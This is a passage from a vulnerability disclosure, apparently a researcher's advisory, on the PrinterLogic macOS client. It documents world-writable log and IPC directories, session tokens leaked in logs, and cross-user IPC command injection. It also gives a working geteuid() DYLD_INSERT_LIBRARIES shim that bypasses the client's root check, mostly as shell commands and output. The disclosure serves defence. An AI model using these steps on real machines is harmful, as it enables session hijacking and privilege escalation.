Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB kali% Description of the CA: kali% openssl x509 -in CA.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: sha512WithRSAEncryption Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority Validity Not Before: Jun 8 01:09:11 2021 GMT Not After : Jun 3 01:09:11 2041 GMT Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (4096 bit) Modulus: [...] X509v3 extensions: X509v3 Subject Key Identifier: E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16 X509v3 Authority Key Identifier: keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16 X509v3 Basic Constraints: CA:TRUE, pathlen:0 Signature Algorithm: sha512WithRSAEncryption 33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74: The program PrinterLogic may use this CA to transmit data securely. It may allow an attacker to intercept data. ## Details - Incorrect permissions in /opt/PrinterInstallerClient/log By default, the printer runs several daemons as root: user@laptop ~ % ps -ef | grep Printer 0 102 1 0 6:20PM ?? 0:00.02 sh /opt/PrinterInstallerClient/service_interface/run_service.sh 0 157 102 0 6:20PM ?? 2:22.44 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 0 55296 157 0 7:19PM ?? 0:00.65 /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication launch https://[redacted].printercloud10.com 0 0 55974 157 0 7:22PM ?? 0:00.16 /opt/PrinterInstallerClient/service_interface/PrinterInstallerClient.app/Contents/MacOS/PrinterInstallerClient login user@laptop ~ % These daemons will write logs in the directory `/opt/PrinterInstallerClient/log`. The directory `/opt/PrinterInstallerClient/log` is `777`, allowing any user to add any file in this directory. Listing of /opt/PrinterInstallerClient/log: sh-3.2# pwd /opt/PrinterInstallerClient/log sh-3.2# ls -la total 5976 drwxrwxrwt 11 root wheel 352 Dec 7 17:37 . drwxr-xr-x 13 root wheel 416 Dec 7 16:53 .. -rw-r--r-- 1 root wheel 31 Dec 9 18:10 HOMEURL -rw-r--r-- 1 root wheel 122847 Dec 9 17:39 PrinterLogicIdpAuthentication.log -rw-r--r-- 1 root wheel 2068 Dec 7 16:53 install.log -rw-rw-rwT 1 root wheel 14141 Dec 9 17:39 interface.log -rw-r--r-- 1 root wheel 7927 Dec 9 17:36 launchd_service.log -rw-r--r-- 1 root wheel 27012 Dec 8 15:04 launchd_service_error.log -rw-r--r-- 1 root wheel 1177989 Dec 9 18:10 service.log -rw-r--r-- 1 root wheel 657784 Dec 9 18:10 service_info.log -rw-r--r-- 1 root wheel 2 Dec 9 17:36 service_last_exit sh-3.2# The file` interface.log` is open to everyone (`666`), allowing adding random logs or erasing the logs: user@laptop log % ls -la interface.log -rw-rw-rwT 1 root wheel 23632 Dec 9 19:45 interface.log user@laptop log % tail -n 2 interface.log 2021-12-09 19:42:44,952 (INFO): Done with command: PROGRESS 2021-12-09 19:45:42,164 (INFO): Done with command: UPLOAD_DRIVER user@laptop log % echo > interface.log user@laptop log % ls -la interface.log -rw-rw-rwT 1 root wheel 1 Dec 9 20:22 interface.log user@laptop log % tail -n 2 interface.log user@laptop log % Any user can retrieve the logs, write custom files inside the logs directory or corrupt the logs. ## Details - Leak of secrets inside the logs Because the logs are readable by any user, it is possible to extract clear-text authentication sessions using any local account. As `executive` account. Sessions in clear-text in world-readable logs: executive@laptop log % grep SESS /opt/PrinterInstallerClient/log/* /opt/PrinterInstallerClient/log/service_info.log:Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1 executive@laptop log % cat /opt/PrinterInstallerClient/log/service_info.log | grep Argu Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1 Arguments: ["05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", "8BC83598876FA522B58B928F082961861639049891", {}] Arguments: ["4189DB18B395218DBF8F3CDA78C85B6B1639050252", "05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", {}] Arguments: ["A3BF377328A91D1623C828D4628648BF1639050432", "4189DB18B395218DBF8F3CDA78C85B6B1639050252", {}] Arguments: ["CB7C6C1E5C1CFD38E9C3447CA08033FD1639050612", "A3BF377328A91D1623C828D4628648BF1639050432", {}] [...] These sessions can be retrieved by anyone using the computer. Any local user can retrieve the sessions and login into the SaaS version of Vasion Print / PrinterLogic. ## Details - Lack of authentication of the communication between services It was observed that communications between daemons are not protected, resulting in some interesting side effects. These inter-process communications are based on files. By default, the programs use directories inside `/opt/PrinterInstallerClient/tmp` for inter-process communication. These directories are world-readable and world-writable: Content of `/opt/PrinterInstallerClient/tmp`: executive@laptop tmp % pwd /opt/PrinterInstallerClient/tmp executive@laptop tmp % ls -la total 0 drwxr-xr-x 9 root wheel 288 Dec 7 16:53 . drwxr-xr-x 13 root wheel 416 Dec 9 20:20 .. drwxrwxrwx 2 root wheel 64 Dec 7 16:53 commands drwxr-xr-x 2 root wheel 64 Dec 7 16:53 crl drwxr-xr-x 14 root wheel 448 Dec 9 18:41 data drwxrwxrwt 2 root wheel 64 Dec 9 20:41 requests drwxrwxrwt 3 root wheel 96 Dec 9 18:40 responses drwxrwxrwt 2 root wheel 64 Dec 9 20:41 scratch drwx------ 2 root wheel 64 Dec 9 19:29 state executive@laptop tmp % Any user can create a file inside `/opt/PrinterInstallerClient/tmp/requests/` to create a new communication with process running as root. For example, any user can start a browser on the local user session by creating a file inside `/opt/PrinterInstallerClient/tmp`: executive@laptop responses % (echo "OPEN_HOME_URL" ; echo -n "?www.google.com" | base64) > /opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313 In the logs, we see a new task has been created: 2021-12-09 20:53:45,882 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313' 2021-12-09 20:53:45,883 (INFO): Received request: OPEN_HOME_URL 2021-12-09 20:53:45,883 (INFO): Creating task: Command: 'OPEN_HOME_URL' Arguments: ?www.google.com User ID: 503 Group ID: 20 Use UI: True Origin: 'INTERFACE' 2021-12-09 20:53:45,894 (INFO): Done with request: OPEN_HOME_URL This will result in a new Safari popup for the user `user` with the address: `https:/[redacted].printercloud10.com/?www.google.com` Browser started in the session of `user`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Executive user ID is `503` but the process will be created as `user` (user ID `501`) - meaning the security separation between users has been broken. Any local user can create specific actions that will be executed on other local sessions. The entire security model of inter-process communication is broken. ## Details - Bypass of admin commands using IPC By default, it is impossible to run some scripts to change the behavior of PrinterLogic. These scripts are located inside `/opt/PrinterInstallerClient/bin`. Scripts inside `/opt/PrinterInstallerClient/bin`: user@laptop bin % pwd /opt/PrinterInstallerClient/bin user@laptop bin % ls -la total 544 drwxr-xr-x 20 root wheel 640 Dec 9 19:29 . drwxr-xr-x 13 root wheel 416 Dec 9 20:20 .. -r--r--r-- 1 root wheel 204958 Dec 9 19:29 PrinterLogic-Debug-20211209192951.zip -r-xr-x--- 1 root wheel 215 Mar 5 2021 ad_override_file.sh -r-xr-x--- 1 root wheel 269 Mar 5 2021 bundle_debug.sh -r-xr-x--- 1 root wheel 211 Mar 5 2021 configure_proxy.sh -r-xr-x--- 1 root wheel 165 Mar 5 2021 disable_home_url_security.sh -r-xr-x--- 1 root wheel 233 Mar 5 2021 disable_ipp_queue_interpretation.sh -r-xr-x--- 1 root wheel 209 Mar 5 2021 disable_updates.sh -r-xr-x--- 1 root wheel 243 Mar 5 2021 ignore_certificate_errors.sh -r-xr-x--- 1 root wheel 3343 Mar 5 2021 install_fips_openssl.sh -r-xr-x--- 1 root wheel 214 Mar 5 2021 kerberos_timeout.sh -r-xr-x--- 1 root wheel 205 Mar 5 2021 lock_home_url.sh -r-xr-x--- 1 root wheel 188 Mar 5 2021 refresh.sh -r-xr-x--- 1 root wheel 725 Mar 5 2021 restart_service.sh -r-xr-x--- 1 root wheel 197 Mar 5 2021 set_home_url.sh -r-xr-x--- 1 root wheel 332 Mar 5 2021 toggle_debug_mode.sh -r-xr-x--- 1 root wheel 1559 Mar 5 2021 uninstall.sh -r-xr-x--- 1 root wheel 212 Mar 5 2021 use_authorization_code.sh -r-xr-x--- 1 root wheel 210 Mar 5 2021 user_from_file.sh user@laptop bin % These scripts are not readable by normal user - only administrator users can read these scripts and it is impossible to execute these commands as normal user. Content of `/opt/PrinterInstallerClient/bin/refresh.sh`: [code:shell] kali% cat refresh.sh #!/bin/bash echo "Scheduling refresh" set -e echo "Creating request" install_directory=`cat /etc/pl_dir` "$install_directory/service_interface/./PrinterInstallerClientService" refresh kali% [/code] Executing manually the command found in the shell script will result in a failure: user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh Having root/administrator privileges is required to run this command user@laptop bin % The executions of all the commands found in shell scripts inside `/opt/PrinterInstallerClient/bin` will be blocked: user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService configure_proxy manual 192.168.100.1:8080 Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file test Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService bundle_debug Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_home_url_security true Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_ipp_queue_interpretation true Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_updates true Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ignore_certificate_errors true Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService kerberos_timeout 10 Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService lock_home_url --unlock Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService set_home_url http 192.168.100.1 Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService toggle_debug_mode Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService uninstall Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService use_authorization_code 123 Having root/administrator privileges is required to run this command user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService user_from_file /etc/passwd Having root/administrator privileges is required to run this command These commands are blocked. Some additional commands appear to exist. Commands using the `PrinterInstallerClientService` binary: executive@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file disable_ipp_queue_interpretation true usage: PrinterInstallerClientService [-h] {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout} Using the Inter-process communication, it is possible to bypass these restrictions. For example, `toggle_debug_mode` is blocked using command line but will work with IPC, even with a non-administrator account. Enabling the debug mode as `user` user: user@laptop bin % echo -n 'TOGGLE_DEBUG_MODE' > /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900 The logs confirm the debug mode has been enabled: 2021-12-09 21:25:24,164 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900' 2021-12-09 21:25:24,165 (INFO): Received request: TOGGLE_DEBUG_MODE 2021-12-09 21:25:24,165 (INFO): Creating task: Command: 'TOGGLE_DEBUG_MODE' Arguments: User ID: 501 Group ID: 20 Use UI: False Origin: 'INTERNAL' 2021-12-09 21:25:24,167 (INFO): Turning on debug mode 2021-12-09 21:25:24,167 (INFO): Done with request: TOGGLE_DEBUG_MODE 2021-12-09 21:25:27,555 (INFO): CPU Usage since debug mode enabled (Top 50) 2021-12-09 21:25:27,557 (INFO): 3 function calls (5 primitive calls) in 0.000 seconds The logs will then be filed with a lot of detailed information with entire stack traces: 2021-12-09 21:25:27,559 (INFO): Open Files in PrinterInstallerClientService (157) 2021-12-09 21:25:27,561 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service.log', fd=1) 2021-12-09 21:25:27,562 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service_error.log', fd=2) 2021-12-09 21:25:27,563 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service.log', fd=3) 2021-12-09 21:25:27,565 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service_info.log', fd=4) [...] 2021-12-09 21:25:27,648 (INFO): printer_installer/client/service/process/debug/cpu_monitor.py:28: size=387 B, count=7, average=55 B 2021-12-09 21:25:27,649 (INFO): /usr/local/python3.6/lib/python3.6/pstats.py:422: size=374 B, count=7, average=53 B 2021-12-09 21:25:27,651 (INFO): psutil/__init__.py:1280: size=371 B, count=7, average=53 B 2021-12-09 21:25:27,652 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:809: size=348 B, count=7, average=50 B 2021-12-09 21:25:27,654 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:802: size=348 B, count=7, average=50 B 2021-12-09 21:25:27,655 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:822: size=347 B, count=7, average=50 B 2021-12-09 21:25:27,656 (INFO): yappi.py:195: size=346 B, count=5, average=69 B [...] 2021-12-09 21:25:28,146 (INFO): , id: 4427604880, ident: 123145360580608, stack: File "/usr/local/python3.6/lib/python3.6/threading.py", line 884, in _bootstrap File "/usr/local/python3.6/lib/python3.6/threading.py", line 916, in _bootstrap_inner File "printer_installer/client/service/process/scheduler/request_processor.py", line 24, in run File "printer_installer/client/service/process/scheduler/request_processor.py", line 28, in _run_raises File "printer_installer/client/service/process/scheduler/request_processor.py", line 62, in _run File "printer_installer/client/service/process/scheduler/execute_tasks.py", line 12, in execute_tasks File "printer_installer/client/service/process/task/task.py", line 76, in call File "printer_installer/client/service/process/task/upload_driver.py", line 32, in _call File "printer_installer/client/service/connection/interface/upload_driver.py", line 17, in upload_driver File "printer_installer/client/service/connection/interface/upload_driver.py", line 23, in _run File "printer_installer/client/service/connection/interface/messenger.py", line 30, in read_message The entire security model of inter-process communication is broken. ## Details - Authentication bypass on the PrinterInstallerClientService program It is possible to perform administrative actions using `LD_PRELOAD` on `geteuid()`. The program `/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService` requires root privileges: user@laptop /tmp % /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug Having root/administrator privileges is required to run this command Bypass using `LD_PRELOAD` on `geteuid()` (from `command.pyc`): user@laptop /tmp % cat /tmp/test2.c unsigned int geteuid() { return (0); } user@laptop /tmp % gcc -shared -fPIC -o test2.so test2.c user@laptop /tmp % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug And the bypass works, the `bundle_debug` mode has been enabled: 2021-12-10 20:39:04,922 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0Zto9weDkF0zAfAD-20220119203904' 2021-12-10 20:39:04,923 (INFO): Received request: BUNDLE_DEBUG 2021-12-10 20:39:04,924 (INFO): Creating task: Command: 'BUNDLE_DEBUG' Arguments: User ID: 501 Group ID: 20 Use UI: False Origin: 'INTERNAL' 2021-12-10 20:39:05,923 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/00Zto9weDkF0zAfAD-20220119203904' 2021-12-10 20:39:05,924 (INFO): Received request: TOGGLE_DEBUG_MODE 2021-12-10 20:39:05,925 (INFO): Creating task: Command: 'TOGGLE_DEBUG_MODE' Arguments: User ID: 0 Group ID: 0 Use UI: False Origin: 'INTERNAL' 2021-12-10 20:39:05,926 (INFO): Turning on debug mode 2021-12-10 20:39:05,926 (INFO): Done with request: TOGGLE_DEBUG_MODE We can now perform some of the administrative actions: user@laptop ~ % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService --help usage: PrinterInstallerClientService [-h] {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout} ... positional arguments: {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout} optional arguments: -h, --help show this help message and exit user@laptop ~ % Some actions requiring write access to `/opt/PrinterInstallerClient/configuration.json` will fail: user@laptop service_interface % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y ./PrinterInstallerClientService set_home_url http www2.google.com Error trying to run command: Traceback (most recent call last): File "printer_installer/client/service/process/command.py", line 46, in handle File "printer_installer/client/service/process/command.py", line 170, in _handle File "/usr/local/python3.6/lib/python3.6/contextlib.py", line 82, in __enter__ File "printer_installer/client/service/context.py", line 81, in configuration File "printer_installer/client/service/context.py", line 1015, in __enter__ File "printer_installer/client/service/context.py", line 1027, in _load PermissionError: [Errno 13] Permission denied: '/opt/PrinterInstallerClient/configuration.json' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "cx_Freeze/initscripts/__startup__.py", line 14, in run File "build-osx/init_script.py", line 38, in run exec(code, m.__dict__) File "printer_installer/client/service/main.py", line 166, in File "printer_installer/client/service/process/command.py", line 52, in handle File "/usr/local/python3.6/lib/python3.6/traceback.py", line 169, in print_last ValueError: no last exception user@laptop service_interface % The entire security model of inter-process communication is broken. ## Details - Potential upload of new drivers After reading some Python code found in the solution, the names of tasks used in APIs were identified. The Python bytecode was converted back to Python using Uncompyle6 (https://github.com/rocky/python-uncompyle6). Identification of tasks used in APIs: kali% pwd /home/user/laptop-mac/files-opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task kali% grep request_name *.py | grep = acquire_active_oauth_token.pyc.py: request_name = 'ACQUIRE_ACTIVE_OAUTH_TOKEN' bundle_debug.pyc.py: request_name = 'BUNDLE_DEBUG' default.pyc.py: request_name = 'DEFAULT' edit_profile.pyc.py: request_name = 'EDIT_PROFILE' get_context_menu_items.pyc.py: request_name = 'GET_CONTEXT_MENU_ITEMS' get_security_info.pyc.py: request_name = 'GET_SECURITY_INFO' get_security_info.pyc.py: use_ui = self.context.origin != constants.internal_request_name get_security_info.pyc.py: logging.error((error.format(self.request_name)), exc_info=True) idp_direct_login.pyc.py: request_name = 'IDP_DIRECT_LOGIN' idp_direct_login.pyc.py: if self.context._origin == self.context.constants.interface_request_name: install_printer.pyc.py: request_name = 'INSTALL_PRINTER' logout_idp_user.pyc.py: request_name = 'LOGOUT_IDP_USER' logout_idp_user.pyc.py: if self.context._origin == self.context.constants.interface_request_name: open_home_url.pyc.py: request_name = 'OPEN_HOME_URL' open_print_job_management.pyc.py: request_name = 'OPEN_PRINT_JOB_MANAGEMENT' query_ip.pyc.py: request_name = 'QUERY_IP' record_print_job.pyc.py: request_name = 'RECORD_PRINT_JOB' refresh.pyc.py: request_name = 'REFRESH' replace_driver.pyc.py: request_name = 'REPLACE_DRIVER' send_gui_message.pyc.py: request_name = 'SEND_GUI_MESSAGE' show_idp_authentication_app.pyc.py: request_name = 'SHOW_IDP_AUTHENTICATION_APP' show_idp_authentication_app.pyc.py: if self.context._origin == self.context.constants.interface_request_name: show_secure_release_prompt.pyc.py: request_name = 'SHOW_SECURE_RELEASE_PROMPT' show_secure_release_settings.pyc.py: request_name = 'SHOW_SECURE_RELEASE_SETTINGS' task_by_name.pyc.py:task_by_name = {AcquireActiveOauthToken.request_name: AcquireActiveOauthToken, task.pyc.py: request_name = None task.pyc.py: data = cls.request_name.encode('utf-8') + b'\n' toggle_debug_mode.pyc.py: request_name = 'TOGGLE_DEBUG_MODE' update_print_job_state.py: request_name = 'UPDATE_PRINT_JOB_STATE' update_print_job_state.pyc.py: request_name = 'UPDATE_PRINT_JOB_STATE' upload_driver.pyc.py: request_name = 'UPLOAD_DRIVER' use_authorization_code.pyc.py: request_name = 'USE_AUTHORIZATION_CODE' Other tasks were identified in `PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.py` (extracted from `PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.pyc` using uncompyle6): [code:python] 326 if command == 'IS_CLIENT_READY': # [1] command IS_CLIENT_READY 327 response = _DummyResponse(True, _BROWSER_INTERFACE_VERSION) 328 else: 329 if command == 'SET_CONFIGURATION': # [2] command SET_CONFIGURATION 330 331 class _Task(task.Task): 332 request_name = 'SET_CONFIGURATION' # [3] command SET_CONFIGURATION 333 334 def _call(self): 335 pass 336 337 arguments = get_configuration_parameters() 338 response = (_Task.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 339 else: 340 if command == 'QUERY_IP': # [4] command QUERY_IP 341 response = query_ip.QueryIp.generate_internal_request(context, request_id=request_id) 342 else: 343 if command == 'ACQUIRE_ACTIVE_OAUTH_TOKEN': # [5] command ACQUIRE_ACTIVE_OAUTH_TOKEN 344 arguments = get_configuration_parameters() 345 response = (acquire_active_oauth_token.AcquireActiveOauthToken.generate_internal_request)( 346 context, *arguments, **{'request_id': request_id}) 347 else: 348 if command == 'GET_SECURITY_INFO': [6] command GET_SECURITY_INFO 349 arguments = get_configuration_parameters() 350 response = (get_security_info.GetSecurityInfo.generate_internal_request)( 351 context, *arguments, **{'request_id': request_id}) 352 else: 353 if command == 'INSTALL_PRINTER': [7] command INSTALL_PRINTER 354 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 355 ptype = parameters['ptype'] 356 pid = parameters['pid'] 357 arguments = [protocol, hostname, abs_url, session_id, ptype, pid, set_id, account_id] 358 response = (install_printer.InstallPrinter.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 359 else: 360 if command == 'UPLOAD_DRIVER': # [8] command UPLOAD_DRIVER 361 arguments = get_configuration_parameters() 362 response = (upload_driver.UploadDriver.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 363 else: 364 if command == 'REPLACE_DRIVER': # [9] command REPLACE_DRIVER 365 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 366 driver_id = parameters['driverId'] 367 model_title = parameters['modelTitle'] 368 arguments = [protocol, hostname, abs_url, session_id, driver_id, model_title, set_id, account_id] 369 response = (replace_driver.ReplaceDriver.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 370 else: 371 if command in ('CREATE_PROFILE', 'EDIT_PROFILE'): # [10] commands CREATE_PROFILE && EDIT_PROFILE 372 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 373 driver_id = parameters['driverId'] 374 profile_id = parameters.get('profileId', '-1') 375 upload_id = parameters.get('uploadId', '-1') 376 arguments = [protocol, hostname, abs_url, session_id, driver_id, profile_id, upload_id, set_id, account_id] 377 response = (edit_profile.EditProfile.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 378 else: 379 if command == 'GET_CONTEXT_MENU_ITEMS': # [11] command GET_CONTEXT_MENU_ITEMS [/code] The `UPLOAD_DRIVER` task is very interesting as it is basically an implementation of uploading files to a remote server. Content of `./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/upload_driver.pyc.py`: [code:python] 13 class UploadDriver(task.Task): 14 request_name = 'UPLOAD_DRIVER' 15 never_execute_for_all_users = True 16 never_use_ui = False 17 18 @property 19 def priority(self): 20 return 0.5 21 22 @property 23 def default_value(self): 24 return False 25 26 @property 27 def description(self): 28 return 'upload driver' 29 30 def __init__(self, context, driver_id=None): 31 super().__init__(context) 32 self._driver_id = driver_id 33 34 def _call(self): 35 logging.debug('Getting driver paths and annotation from GUI') 36 local_paths, annotation = interface_upload_driver.upload_driver(self.context) 37 logging.debug('Selected in the GUI: {}, {}'.format(local_paths, annotation)) 38 if (local_paths, annotation) == (None, None): 39 logging.debug('No driver to upload selected') 40 return ('Driver selection cancelled.', False) 41 else: 42 logging.debug('Uploading drivers to the database') 43 upload_id = server_upload_driver.upload_driver(local_paths, 44 annotation, 45 (self.context), 46 replace_driver_id=(self._driver_id)) 47 if self._driver_id is not None: 48 upload_id = self._driver_id 49 current_driver_data = driver.create_local_driver_data(local_paths) 50 manufacturer = current_driver_data.manufacturer 51 model = current_driver_data.model 52 data = '{}\t{}\t{}\t{}\t{}'.format(upload_id, manufacturer, model, annotation, self.context.os_id) 53 return (data, True) 54 # okay decompiling upload_driver.pyc [/code] The code responsible for the upload process is located at `./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/upload_driver.py`: [code:python] 22 def upload_driver(local_paths: list, annotation: str, context: Context, replace_driver_id: Optional[int]=None) -> str: 23 local_driver_data = driver.create_local_driver_data(local_paths) 24 model = local_driver_data.model 25 title = f"Uploading driver for {local_driver_data.manufacturer} printer: {model}" 26 with progress.progress_or_dummy(title, PROGRESS_STEP_NAMES, context) as (progress_callback): 27 with NamedTemporaryFile(mode='w+b') as (out_file): 28 driver_package_class = driver.get_driver_package_class() 29 with driver_package_class.get_upload_package_files(local_driver_data, 30 progress_callback=progress_callback, progress_step=0) as (upload_package_files): 31 progress_callback.update_step(0, 1.0) # [1] a tbz2 file will be created 32 _create_package(out_file, upload_package_files) 33 progress_callback.update_step(1, 1.0) 34 # [2] Upload of the files, class defined in ./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/common.py. 35 class UploaderCallback(common.UploaderCallback): 36 driver_id = None 37 38 def on_size_calculated(self, total_size, total_fragments): 39 progress_callback.update_step(2, 1.0) 40 41 def on_upload_id_obtained(self, upload_id): 42 progress_callback.update_step(3, 1.0) 43 44 def on_fragment_uploaded(self, fragment, total_fragments): 45 progress_callback.update_step(4, fragment / total_fragments) 46 47 def on_complete(self, upload_id): # [3] Metadatas sent using _finalize_upload 48 self.driver_id = _finalize_upload(local_driver_data, 49 upload_id, annotation, context, replace_driver_id=replace_driver_id) 50 progress_callback.update_step(5, 1.0) 51 52 uploader_callback = UploaderCallback() 53 uploader = common.Uploader((out_file.name), model, context, uploader_callback=uploader_callback) 54 uploader.upload() 55 return uploader_callback.driver_id [...] 85 def _finalize_upload(local_driver_data: driver.LocalDriverData, upload_id: int, annotation: str, context: Context, replace_driver_id: 